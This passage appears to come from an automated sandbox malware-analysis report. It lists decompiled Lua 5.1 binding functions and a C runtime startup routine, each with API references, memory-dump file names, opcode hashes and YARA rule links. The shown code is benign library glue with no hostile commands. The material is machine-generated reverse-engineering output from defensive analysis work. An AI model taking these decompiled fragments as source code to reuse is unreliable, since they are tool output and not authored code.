				_push(_t17);
				L005E3F4A();
				_t27 = (_t24 & 0xffffffc0) - 0x34 + 8;
				if(__eax != 0) {
					_push(2);
					_push(1);
					_push(_t17);
					L005E3F92();
					_push(_t17);
					L005E3F38();
					_t28 = _t27 + 0x10;
					if(__eax < 2) {
						L5:
						_t12 = 1;
					} else {
						_push(2);
						_push(_t17);
						L005E3F4A();
						_t28 = _t28 + 8;
						if(__eax == 0) {
							goto L5;
						} else {
							_push(2);
							_push(_t17);
							L005E3FCE();
							_t28 = _t28 + 8;
							_t12 = __eax;
						}
					}
					_push(1);
					_push(_t17);
					L005E3F0E();
					_t29 = _t28 + 8;
					_t21 = 0;
					_v12 = _t7;
					if(_t12 > 0) {
						do {
							_v8 =  *(_v12 + _t21 * 2) & 0x0000ffff;
							_t30 = _t29 - 8;
							asm("fild dword [esp+0x44]");
							 *_t30 = _t33;
							_push(_t17);
							L005E3F80();
							_t21 = _t21 + 1;
							_t29 = _t30 + 0xc;
						} while (_t21 < _t12);
					}
					return _t12;
				} else {
					_push(_t17);
					L005E3F74();
					return 1;
				}
			}

0x005e36c0
0x005e36c0
0x005e36cc
0x005e36cf
0x005e36d1
0x005e36d2
0x005e36d7
0x005e36dc
0x005e36f3
0x005e36f5
0x005e36f7
0x005e36f8
0x005e36fd
0x005e36fe
0x005e3703
0x005e3709
0x005e3729
0x005e3729
0x005e370b
0x005e370b
0x005e370d
0x005e370e
0x005e3713
0x005e3718
0x00000000
0x005e371a
0x005e371a
0x005e371c
0x005e371d
0x005e3722
0x005e3725
0x005e3725
0x005e3718
0x005e372e
0x005e3730
0x005e3731
0x005e3736
0x005e3739
0x005e373d
0x005e3741
0x005e3743
0x005e374b
0x005e374f
0x005e3752
0x005e3756
0x005e3759
0x005e375a
0x005e375f
0x005e3762
0x005e3765
0x005e3743
0x005e3771
0x005e36de
0x005e36de
0x005e36df
0x005e36f2
0x005e36f2

APIs

lua_type.LUA5.1(?,00000001), ref: 005E36D2
lua_pushnil.LUA5.1(?), ref: 005E36DF
luaL_checktype.LUA5.1(?,00000001,00000002), ref: 005E36F8
lua_gettop.LUA5.1(?,?,00000001,00000002), ref: 005E36FE
lua_type.LUA5.1(?,00000002), ref: 005E370E
luaL_checkinteger.LUA5.1(?,00000002), ref: 005E371D
lua_touserdata.LUA5.1(?,00000001), ref: 005E3731
lua_pushnumber.LUA5.1(?), ref: 005E375A

Memory Dump Source

Source File: 00000002.00000002.470086883.00000000005E1000.00000020.00020000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000002.00000002.470056467.00000000005E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470120189.00000000005E5000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470145709.00000000005E7000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470178146.00000000005E8000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_type.$L_checkinteger.L_checktype.lua_gettop.lua_pushnil.lua_pushnumber.lua_touserdata.
String ID:
API String ID: 3663841464-0
Opcode ID: 15fd63a376e5cdcf64352942b5b10623d8749d800e4b4aeef1de566fc49dfcfa
Instruction ID: 0deceee4788ffe2c6ae50218860bf8402c77715e43075f4ba93132f39cc8685a
Opcode Fuzzy Hash: 15fd63a376e5cdcf64352942b5b10623d8749d800e4b4aeef1de566fc49dfcfa
Instruction Fuzzy Hash: 9A1104F2E0024122D728261B2CCFB7E7A78ABC2B41F400139FD9897281F6468B1041E3

Uniqueness

Uniqueness Score: -1.00%

Function 005E3780, Relevance: 12.1, APIs: 8, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E005E3780(intOrPtr __eax, long long __fp0, intOrPtr _a4) {
				char _v8;
				intOrPtr _v12;
				intOrPtr _t6;
				intOrPtr _t11;
				intOrPtr _t16;
				void* _t20;
				signed int _t23;
				void* _t26;
				void* _t27;
				void* _t28;
				long long* _t29;
				long long _t32;

				_t32 = __fp0;
				_t6 = __eax;
				_t16 = _a4;
				_push(1);
				_push(_t16);
				L005E3F4A();
				_t26 = (_t23 & 0xffffffc0) - 0x34 + 8;
				if(__eax != 0) {
					_push(2);
					_push(1);
					_push(_t16);
					L005E3F92();
					_push(_t16);
					L005E3F38();
					_t27 = _t26 + 0x10;
					if(__eax < 2) {
						L5:
						_t11 = 1;
					} else {
						_push(2);
						_push(_t16);
						L005E3F4A();
						_t27 = _t27 + 8;
						if(__eax == 0) {
							goto L5;
						} else {
							_push(2);
							_push(_t16);
							L005E3FCE();
							_t27 = _t27 + 8;
							_t11 = __eax;
						}
					}
					_push(1);
					_push(_t16);
					L005E3F0E();
					_t28 = _t27 + 8;
					_t20 = 0;
					_v12 = _t6;
					if(_t11 > 0) {
						do {
							_v8 =  *((char*)(_t20 + _v12));
							_t29 = _t28 - 8;
							asm("fild dword [esp+0x44]");
							 *_t29 = _t32;
							_push(_t16);
							L005E3F80();
							_t20 = _t20 + 1;
							_t28 = _t29 + 0xc;
						} while (_t20 < _t11);
					}
					return _t11;
				} else {
					_push(_t16);
					L005E3F74();
					return 1;
				}
			}

0x005e3780
0x005e3780
0x005e378c
0x005e378f
0x005e3791
0x005e3792
0x005e3797
0x005e379c
0x005e37b3
0x005e37b5
0x005e37b7
0x005e37b8
0x005e37bd
0x005e37be
0x005e37c3
0x005e37c9
0x005e37e9
0x005e37e9
0x005e37cb
0x005e37cb
0x005e37cd
0x005e37ce
0x005e37d3
0x005e37d8
0x00000000
0x005e37da
0x005e37da
0x005e37dc
0x005e37dd
0x005e37e2
0x005e37e5
0x005e37e5
0x005e37d8
0x005e37ee
0x005e37f0
0x005e37f1
0x005e37f6
0x005e37f9
0x005e37fd
0x005e3801
0x005e3803
0x005e380b
0x005e380f
0x005e3812
0x005e3816
0x005e3819
0x005e381a
0x005e381f
0x005e3822
0x005e3825
0x005e3803
0x005e3831
0x005e379e
0x005e379e
0x005e379f
0x005e37b2
0x005e37b2

APIs

lua_type.LUA5.1(?,00000001), ref: 005E3792
lua_pushnil.LUA5.1(?), ref: 005E379F
luaL_checktype.LUA5.1(?,00000001,00000002), ref: 005E37B8
lua_gettop.LUA5.1(?,?,00000001,00000002), ref: 005E37BE
lua_type.LUA5.1(?,00000002), ref: 005E37CE
luaL_checkinteger.LUA5.1(?,00000002), ref: 005E37DD
lua_touserdata.LUA5.1(?,00000001), ref: 005E37F1
lua_pushnumber.LUA5.1(?), ref: 005E381A

Memory Dump Source

Source File: 00000002.00000002.470086883.00000000005E1000.00000020.00020000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000002.00000002.470056467.00000000005E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470120189.00000000005E5000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470145709.00000000005E7000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470178146.00000000005E8000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_type.$L_checkinteger.L_checktype.lua_gettop.lua_pushnil.lua_pushnumber.lua_touserdata.
String ID:
API String ID: 3663841464-0
Opcode ID: 93ecf7c918c5c0b9e70ab92a239ac9b94cc7b2dac20a1f74a72247b81ea5d357
Instruction ID: 58bb0207409f8ef84149937cb40446677d3b85715ac215d57a91900c8a7689cc
Opcode Fuzzy Hash: 93ecf7c918c5c0b9e70ab92a239ac9b94cc7b2dac20a1f74a72247b81ea5d357
Instruction Fuzzy Hash: 7A1127F2E1428122D728261B2CCFB7E7E78ABD2B01F40057DFD9893281F54A8B1441E3

Uniqueness

Uniqueness Score: -1.00%

Function 005E3550, Relevance: 12.1, APIs: 8, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E005E3550(intOrPtr __eax, long long __fp0, intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _t4;
				intOrPtr _t9;
				intOrPtr _t13;
				void* _t17;
				signed int _t20;
				void* _t23;
				void* _t24;
				void* _t25;
				long long* _t26;
				long long _t29;

				_t29 = __fp0;
				_t4 = __eax;
				_t13 = _a4;
				_push(1);
				_push(_t13);
				L005E3F4A();
				_t23 = (_t20 & 0xffffffc0) - 0x34 + 8;
				if(__eax != 0) {
					_push(2);
					_push(1);
					_push(_t13);
					L005E3F92();
					_push(_t13);
					L005E3F38();
					_t24 = _t23 + 0x10;
					if(__eax < 2) {
						L5:
						_t9 = 1;
					} else {
						_push(2);
						_push(_t13);
						L005E3F4A();
						_t24 = _t24 + 8;
						if(__eax == 0) {
							goto L5;
						} else {
							_push(2);
							_push(_t13);
							L005E3FCE();
							_t24 = _t24 + 8;
							_t9 = __eax;
						}
					}
					_push(1);
					_push(_t13);
					L005E3F0E();
					_t25 = _t24 + 8;
					_t17 = 0;
					_v8 = _t4;
					if(_t9 > 0) {
						do {
							asm("fild dword [eax+esi*4]");
							_t26 = _t25 - 8;
							 *_t26 = _t29;
							_push(_t13);
							L005E3F80();
							_t17 = _t17 + 1;
							_t25 = _t26 + 0xc;
						} while (_t17 < _t9);
					}
					return _t9;
				} else {
					_push(_t13);
					L005E3F74();
					return 1;
				}
			}

0x005e3550
0x005e3550
0x005e355c
0x005e355f
0x005e3561
0x005e3562
0x005e3567
0x005e356c
0x005e3583
0x005e3585
0x005e3587
0x005e3588
0x005e358d
0x005e358e
0x005e3593
0x005e3599
0x005e35b9
0x005e35b9
0x005e359b
0x005e359b
0x005e359d
0x005e359e
0x005e35a3
0x005e35a8
0x00000000
0x005e35aa
0x005e35aa
0x005e35ac
0x005e35ad
0x005e35b2
0x005e35b5
0x005e35b5
0x005e35a8
0x005e35be
0x005e35c0
0x005e35c1
0x005e35c6
0x005e35c9
0x005e35cd
0x005e35d1
0x005e35d3
0x005e35d7
0x005e35da
0x005e35dd
0x005e35e0
0x005e35e1
0x005e35e6
0x005e35e9
0x005e35ec
0x005e35d3
0x005e35f8
0x005e356e
0x005e356e
0x005e356f
0x005e3582
0x005e3582

APIs

lua_type.LUA5.1(?,00000001), ref: 005E3562
lua_pushnil.LUA5.1(?), ref: 005E356F
luaL_checktype.LUA5.1(?,00000001,00000002), ref: 005E3588
lua_gettop.LUA5.1(?,?,00000001,00000002), ref: 005E358E
lua_type.LUA5.1(?,00000002), ref: 005E359E
luaL_checkinteger.LUA5.1(?,00000002), ref: 005E35AD
lua_touserdata.LUA5.1(?,00000001), ref: 005E35C1
lua_pushnumber.LUA5.1(?), ref: 005E35E1

Memory Dump Source

Source File: 00000002.00000002.470086883.00000000005E1000.00000020.00020000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000002.00000002.470056467.00000000005E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470120189.00000000005E5000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470145709.00000000005E7000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470178146.00000000005E8000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_type.$L_checkinteger.L_checktype.lua_gettop.lua_pushnil.lua_pushnumber.lua_touserdata.
String ID:
API String ID: 3663841464-0
Opcode ID: 16ecbd2e2d1cc930c7b6e7d7c475a00d05185e042ecf6628853c18f1a4dadbef
Instruction ID: 7754de39db39b6aadf90718622f1004faafe6fb700bbe0f1be5aa603f5ee6a9a
Opcode Fuzzy Hash: 16ecbd2e2d1cc930c7b6e7d7c475a00d05185e042ecf6628853c18f1a4dadbef
Instruction Fuzzy Hash: D411E9B2E1415222DB24365B2CCFB7E7B69ABD1B01F44017AFD98D7381F6468B1501E3

Uniqueness

Uniqueness Score: -1.00%

Function 005E3900, Relevance: 12.1, APIs: 8, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E005E3900(intOrPtr __eax, intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _t6;
				intOrPtr _t11;
				intOrPtr _t15;
				signed int _t19;
				signed int _t22;
				void* _t25;
				void* _t26;
				void* _t27;
				long long* _t28;

				_t6 = __eax;
				_t15 = _a4;
				_push(1);
				_push(_t15);
				L005E3F4A();
				_t25 = (_t22 & 0xffffffc0) - 0x34 + 8;
				if(__eax != 0) {
					_push(2);
					_push(1);
					_push(_t15);
					L005E3F92();
					_push(_t15);
					L005E3F38();
					_t26 = _t25 + 0x10;
					if(__eax < 2) {
						L5:
						_t11 = 1;
					} else {
						_push(2);
						_push(_t15);
						L005E3F4A();
						_t26 = _t26 + 8;
						if(__eax == 0) {
							goto L5;
						} else {
							_push(2);
							_push(_t15);
							L005E3FCE();
							_t26 = _t26 + 8;
							_t11 = __eax;
						}
					}
					_push(1);
					_push(_t15);
					L005E3F0E();
					_t27 = _t26 + 8;
					_t19 = 0;
					_v8 = _t6;
					if(_t11 > 0) {
						do {
							_t28 = _t27 - 8;
							 *_t28 =  *((intOrPtr*)(_v8 + _t19 * 4));
							_push(_t15);
							L005E3F80();
							_t19 = _t19 + 1;
							_t27 = _t28 + 0xc;
						} while (_t19 < _t11);
					}
					return _t11;
				} else {
					_push(_t15);
					L005E3F74();
					return 1;
				}
			}

0x005e3900
0x005e390c
0x005e390f
0x005e3911
0x005e3912
0x005e3917
0x005e391c
0x005e3933
0x005e3935
0x005e3937
0x005e3938
0x005e393d
0x005e393e
0x005e3943
0x005e3949
0x005e3969
0x005e3969
0x005e394b
0x005e394b
0x005e394d
0x005e394e
0x005e3953
0x005e3958
0x00000000
0x005e395a
0x005e395a
0x005e395c
0x005e395d
0x005e3962
0x005e3965
0x005e3965
0x005e3958
0x005e396e
0x005e3970
0x005e3971
0x005e3976
0x005e3979
0x005e397d
0x005e3981
0x005e3983
0x005e398a
0x005e398d
0x005e3990
0x005e3991
0x005e3996
0x005e3999
0x005e399c
0x005e3983
0x005e39a8
0x005e391e
0x005e391e
0x005e391f
0x005e3932
0x005e3932

APIs

lua_type.LUA5.1(?,00000001), ref: 005E3912
lua_pushnil.LUA5.1(?), ref: 005E391F
luaL_checktype.LUA5.1(?,00000001,00000002), ref: 005E3938
lua_gettop.LUA5.1(?,?,00000001,00000002), ref: 005E393E
lua_type.LUA5.1(?,00000002), ref: 005E394E
luaL_checkinteger.LUA5.1(?,00000002), ref: 005E395D
lua_touserdata.LUA5.1(?,00000001), ref: 005E3971
lua_pushnumber.LUA5.1(?), ref: 005E3991

Memory Dump Source

Source File: 00000002.00000002.470086883.00000000005E1000.00000020.00020000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000002.00000002.470056467.00000000005E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470120189.00000000005E5000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470145709.00000000005E7000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470178146.00000000005E8000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_type.$L_checkinteger.L_checktype.lua_gettop.lua_pushnil.lua_pushnumber.lua_touserdata.
String ID:
API String ID: 3663841464-0
Opcode ID: 64acc39dbd9dfe8490e4fe9d58c8b51cb391c53c313ca1c65218ee1faab54760
Instruction ID: cc3f0082ce841ecd7f913ed28a61876a9fc42acf0a4dcaab831ca1af5b0e5747
Opcode Fuzzy Hash: 64acc39dbd9dfe8490e4fe9d58c8b51cb391c53c313ca1c65218ee1faab54760
Instruction Fuzzy Hash: 6811A9B2E1015126D724396B6CCFB7E7E68ABD1B11F440179FD98E7282F6868B1501E3

Uniqueness

Uniqueness Score: -1.00%

Function 005E34A0, Relevance: 12.1, APIs: 8, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E005E34A0(intOrPtr __eax, intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _t6;
				intOrPtr _t11;
				intOrPtr _t15;
				signed int _t19;
				signed int _t22;
				void* _t25;
				void* _t26;
				void* _t27;
				long long* _t28;

				_t6 = __eax;
				_t15 = _a4;
				_push(1);
				_push(_t15);
				L005E3F4A();
				_t25 = (_t22 & 0xffffffc0) - 0x34 + 8;
				if(__eax != 0) {
					_push(2);
					_push(1);
					_push(_t15);
					L005E3F92();
					_push(_t15);
					L005E3F38();
					_t26 = _t25 + 0x10;
					if(__eax < 2) {
						L5:
						_t11 = 1;
					} else {
						_push(2);
						_push(_t15);
						L005E3F4A();
						_t26 = _t26 + 8;
						if(__eax == 0) {
							goto L5;
						} else {
							_push(2);
							_push(_t15);
							L005E3FCE();
							_t26 = _t26 + 8;
							_t11 = __eax;
						}
					}
					_push(1);
					_push(_t15);
					L005E3F0E();
					_t27 = _t26 + 8;
					_t19 = 0;
					_v8 = _t6;
					if(_t11 > 0) {
						do {
							_t28 = _t27 - 8;
							 *_t28 =  *((long long*)(_v8 + _t19 * 8));
							_push(_t15);
							L005E3F80();
							_t19 = _t19 + 1;
							_t27 = _t28 + 0xc;
						} while (_t19 < _t11);
					}
					return _t11;
				} else {
					_push(_t15);
					L005E3F74();
					return 1;
				}
			}

0x005e34a0
0x005e34ac
0x005e34af
0x005e34b1
0x005e34b2
0x005e34b7
0x005e34bc
0x005e34d3
0x005e34d5
0x005e34d7
0x005e34d8
0x005e34dd
0x005e34de
0x005e34e3
0x005e34e9
0x005e3509
0x005e3509
0x005e34eb
0x005e34eb
0x005e34ed
0x005e34ee
0x005e34f3
0x005e34f8
0x00000000
0x005e34fa
0x005e34fa
0x005e34fc
0x005e34fd
0x005e3502
0x005e3505
0x005e3505
0x005e34f8
0x005e350e
0x005e3510
0x005e3511
0x005e3516
0x005e3519
0x005e351d
0x005e3521
0x005e3523
0x005e352a
0x005e352d
0x005e3530
0x005e3531
0x005e3536
0x005e3539
0x005e353c
0x005e3523
0x005e3548
0x005e34be
0x005e34be
0x005e34bf
0x005e34d2
0x005e34d2

APIs

lua_type.LUA5.1(?,00000001), ref: 005E34B2
lua_pushnil.LUA5.1(?), ref: 005E34BF
luaL_checktype.LUA5.1(?,00000001,00000002), ref: 005E34D8
lua_gettop.LUA5.1(?,?,00000001,00000002), ref: 005E34DE
lua_type.LUA5.1(?,00000002), ref: 005E34EE
luaL_checkinteger.LUA5.1(?,00000002), ref: 005E34FD
lua_touserdata.LUA5.1(?,00000001), ref: 005E3511
lua_pushnumber.LUA5.1(?), ref: 005E3531

Memory Dump Source

Source File: 00000002.00000002.470086883.00000000005E1000.00000020.00020000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000002.00000002.470056467.00000000005E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470120189.00000000005E5000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470145709.00000000005E7000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470178146.00000000005E8000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_type.$L_checkinteger.L_checktype.lua_gettop.lua_pushnil.lua_pushnumber.lua_touserdata.
String ID:
API String ID: 3663841464-0
Opcode ID: 6097af95ba21d31919535666bd0b20a0bcb901d4aabfb2bdcb1b84b6b7e6828a
Instruction ID: f9c4e491d0f40573e19cf3c0e935f55c18bf86ef83e770ca1c4ae4742a8ca963
Opcode Fuzzy Hash: 6097af95ba21d31919535666bd0b20a0bcb901d4aabfb2bdcb1b84b6b7e6828a
Instruction Fuzzy Hash: 7611E9B2E1025122DB24351B2CCFB7E7E78ABD1B01F400179FD98D7291F6468B1501E3

Uniqueness

Uniqueness Score: -1.00%

Function 1000F840, Relevance: 12.1, APIs: 8, Instructions: 65stringCOMMON

Download Yara Rule

APIs

luaL_buffinit.LUA5.1(?,?), ref: 1000F86C
strstr.MSVCRT ref: 1000F87A
luaL_addlstring.LUA5.1(?,?,00000000), ref: 1000F894

Part of subcall function 1000FAC0: luaL_prepbuffer.LUA5.1(?,?,00000000,?,?,1000FB2D,?,?,?,?,1000F8CA,?,?), ref: 1000FAE5

strstr.MSVCRT ref: 1000F8B0
luaL_addstring.LUA5.1(?,?,?,?,00000000), ref: 1000F8A6

Part of subcall function 1000FB10: luaL_addlstring.LUA5.1(?,?,?,?,1000F8CA,?,?), ref: 1000FB28

luaL_addstring.LUA5.1(?,?), ref: 1000F8C5
luaL_pushresult.LUA5.1(?,?,?), ref: 1000F8CF
lua_tolstring.LUA5.1(?,000000FF,00000000,?,?,?), ref: 1000F8E0

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_addlstring.L_addstring.strstr$L_buffinit.L_prepbuffer.L_pushresult.lua_tolstring.
String ID:
API String ID: 1761298149-0
Opcode ID: 338a73e145920d4cbc4fd45a44107b012bb86aa1bd91e4dddec1b05471f5743b
Instruction ID: d206e32ecfd6e4e09133f94a8f78ac65a6508b9082a6392208b04d6cdd8a80bd
Opcode Fuzzy Hash: 338a73e145920d4cbc4fd45a44107b012bb86aa1bd91e4dddec1b05471f5743b
Instruction Fuzzy Hash: 31110A765043146BE220DBA4DC99EBF77ADEBC87A0F504A1CF95443286DB34E90587A1

Uniqueness

Uniqueness Score: -1.00%

Function 10013F20, Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

luaL_checktype.LUA5.1(?,00000001,00000005), ref: 10013F2C

Part of subcall function 1000F410: lua_type.LUA5.1(?,?), ref: 1000F41C

lua_objlen.LUA5.1(?,00000001,?,00000001,00000005), ref: 10013F34
luaL_optinteger.LUA5.1(?,00000002,00000000,?,00000001,?,00000001,00000005), ref: 10013F3F

Part of subcall function 1000F600: lua_type.LUA5.1(?,?), ref: 1000F60C

lua_rawgeti.LUA5.1(?,00000001,00000000), ref: 10013F57
lua_rawgeti.LUA5.1(?,00000001,00000001), ref: 10013F6B
lua_rawseti.LUA5.1(?,00000001,00000000,?,00000001,00000001), ref: 10013F74
lua_pushnil.LUA5.1(?), ref: 10013F84
lua_rawseti.LUA5.1(?,00000001,00000000,?), ref: 10013F8D

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_rawgeti.lua_rawseti.lua_type.$L_checktype.L_optinteger.lua_objlen.lua_pushnil.
String ID:
API String ID: 1053335798-0
Opcode ID: ce47c44e3921540d1a3f7d5192dff6f494b0ce31f91953d837c7f1b37d93e6a7
Instruction ID: e4767f20d85b55890ef67b6675474d1bc5294052240c8b0cc246a272151c2b31
Opcode Fuzzy Hash: ce47c44e3921540d1a3f7d5192dff6f494b0ce31f91953d837c7f1b37d93e6a7
Instruction Fuzzy Hash: A901D17EA5521432F221A1596CC3FFF122DCB82BD4F01402DFB1469083F687A99211E2

Uniqueness

Uniqueness Score: -1.00%

Function 10013D80, Relevance: 12.1, APIs: 8, Instructions: 58COMMON

Download Yara Rule

APIs

luaL_checktype.LUA5.1 ref: 10013DA2

Part of subcall function 1000F410: lua_type.LUA5.1(?,?), ref: 1000F41C

lua_pushnil.LUA5.1(?), ref: 10013DA8
lua_next.LUA5.1(?,00000001,?), ref: 10013DB0
lua_settop.LUA5.1(?,000000FE,?,?,?,?,00000005), ref: 10013DBF
lua_type.LUA5.1(?,000000FF,?,000000FE,?,?,?,?,00000005), ref: 10013DC7
lua_tonumber.LUA5.1(?,000000FF,?,?,?,?,?,?,?,?,00000005), ref: 10013DD7
lua_next.LUA5.1(?,00000001,?,?,?,?,?,?,?,?,00000005), ref: 10013DF5
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?,00000005), ref: 10013E0C

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_next.lua_type.$L_checktype.lua_pushnil.lua_pushnumber.lua_settop.lua_tonumber.
String ID:
API String ID: 1287351551-0
Opcode ID: 565239a361d6a00f1c2ab8226bd8f35c36dbe8d9e55731978c449288ab07e6c3
Instruction ID: 117c92ce3279ffc3b84bb6b345daa2d5c6a92653072d93aa6f5c61928671eea2
Opcode Fuzzy Hash: 565239a361d6a00f1c2ab8226bd8f35c36dbe8d9e55731978c449288ab07e6c3
Instruction Fuzzy Hash: 7801F57851462232EA00E618AC43BCF378CDF023E4F004714F8246A2C6EBB6F79542EB

Uniqueness

Uniqueness Score: -1.00%

Function 004021D8, Relevance: 12.1, APIs: 8, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E004021D8(void* __eax) {
				intOrPtr _t10;
				signed int _t11;
				int _t12;
				void* _t18;
				signed int _t27;
				signed int _t28;
				void* _t31;

				if(_t31 == 1) {
					_t10 =  *0x40003c; // 0xe8
					__eflags =  *((intOrPtr*)(_t10 + 0x400000)) - 0x4550;
					if( *((intOrPtr*)(_t10 + 0x400000)) != 0x4550) {
						goto L1;
					} else {
						_t2 = _t10 + 0x400018; // 0x8010b
						_t27 =  *_t2 & 0x0000ffff;
						__eflags = _t27 - 0x10b;
						if(_t27 == 0x10b) {
							__eflags =  *((intOrPtr*)(_t10 + 0x400074)) - 0xe;
							if( *((intOrPtr*)(_t10 + 0x400074)) <= 0xe) {
								goto L1;
							} else {
								_t28 = 0;
								__eflags =  *(_t10 + 0x4000e8);
								goto L9;
							}
						} else {
							__eflags = _t27 - 0x20b;
							if(_t27 != 0x20b) {
								goto L1;
							} else {
								__eflags =  *((intOrPtr*)(_t10 + 0x400084)) - 0xe;
								if( *((intOrPtr*)(_t10 + 0x400084)) <= 0xe) {
									goto L1;
								} else {
									_t28 = 0;
									__eflags =  *(_t10 + 0x4000f8);
									L9:
									_t8 = __eflags != 0;
									__eflags = _t8;
									_t11 = _t28 & 0xffffff00 | _t8;
								}
							}
						}
					}
				} else {
					L1:
					_t11 = 0;
				}
				 *0x40402c = _t11;
				_t12 = __set_app_type(2);
				__imp___encode_pointer(0xffffffff);
				 *0x404388 = _t12;
				 *0x40438c = _t12;
				 *(__p__fmode()) =  *0x404374;
				 *(__p__commode()) =  *0x404370;
				 *0x40437c =  *_adjust_fdiv;
				E004024CF();
				_t18 = E00401ECB();
				if( *0x404014 == 0) {
					__setusermatherr(E0040270D);
				}
				E004026E4(_t18);
				if( *0x404010 == 0xffffffff) {
					__imp___configthreadlocale(0xffffffff);
				}
				return 0;
			}

0x004021df
0x004021e5
0x004021ea
0x004021f4
0x00000000
0x004021f6
0x004021f6
0x004021f6
0x004021fd
0x00402203
0x00402220
0x00402227
0x00000000
0x00402229
0x00402229
0x0040222b
0x00000000
0x0040222b
0x00402205
0x00402205
0x0040220b
0x00000000
0x0040220d
0x0040220d
0x00402214
0x00000000
0x00402216
0x00402216
0x00402218
0x00402231
0x00402231
0x00402231
0x00402234
0x00402234
0x00402214
0x0040220b
0x00402203
0x004021e1
0x004021e1
0x004021e1
0x004021e1
0x00402238
0x0040223d
0x00402245
0x0040224d
0x00402252
0x00402263
0x00402271
0x0040227a
0x0040227f
0x00402284
0x00402290
0x00402297
0x0040229d
0x0040229e
0x004022aa
0x004022ae
0x004022b4
0x004022b7

APIs

__set_app_type.MSVCR80 ref: 0040223D
_encode_pointer.MSVCR80(000000FF), ref: 00402245
__p__fmode.MSVCR80 ref: 00402257
__p__commode.MSVCR80 ref: 00402265
__RTC_Initialize.LIBCMT ref: 0040227F
__setusermatherr.MSVCR80 ref: 00402297
__setdefaultprecision.LIBCMT ref: 0040229E
_configthreadlocale.MSVCR80(000000FF), ref: 004022AE

Memory Dump Source

Source File: 00000002.00000002.469050412.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.469008352.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469103768.0000000000403000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469156229.0000000000405000.00000002.00020000.sdmp Download File

Similarity

API ID: Initialize__p__commode__p__fmode__set_app_type__setdefaultprecision__setusermatherr_configthreadlocale_encode_pointer
String ID:
API String ID: 2053481123-0
Opcode ID: 880fea73b452a4cc2b6d3093691b10bde1a2118b03b96907f139e06825a78b96
Instruction ID: 4da86542026cdff693b3f0816fd03df2c0ae4235f1841574ee4596242521e34a
Opcode Fuzzy Hash: 880fea73b452a4cc2b6d3093691b10bde1a2118b03b96907f139e06825a78b96
Instruction Fuzzy Hash: 93211F70A01200DFDB689F74BF4CA2537A4A744326F10467FEA29B62E5DB784940DB1D

Uniqueness

Uniqueness Score: -1.00%

Function 10014360, Relevance: 12.0, APIs: 8, Instructions: 47COMMON

Download Yara Rule

APIs

lua_type.LUA5.1(?,00000002,?,1001412A,?,000000FF,000000FE,?,00000001,?,?,00000001,00000000,00000000,?), ref: 10014368
lua_pushvalue.LUA5.1(?,00000002,00000000,?,00000002), ref: 10014378
lua_pushvalue.LUA5.1(?,?,?,00000002,00000000,?,00000002), ref: 10014384
lua_pushvalue.LUA5.1(?,?,?,?,?,00000002,00000000,?,00000002), ref: 10014392
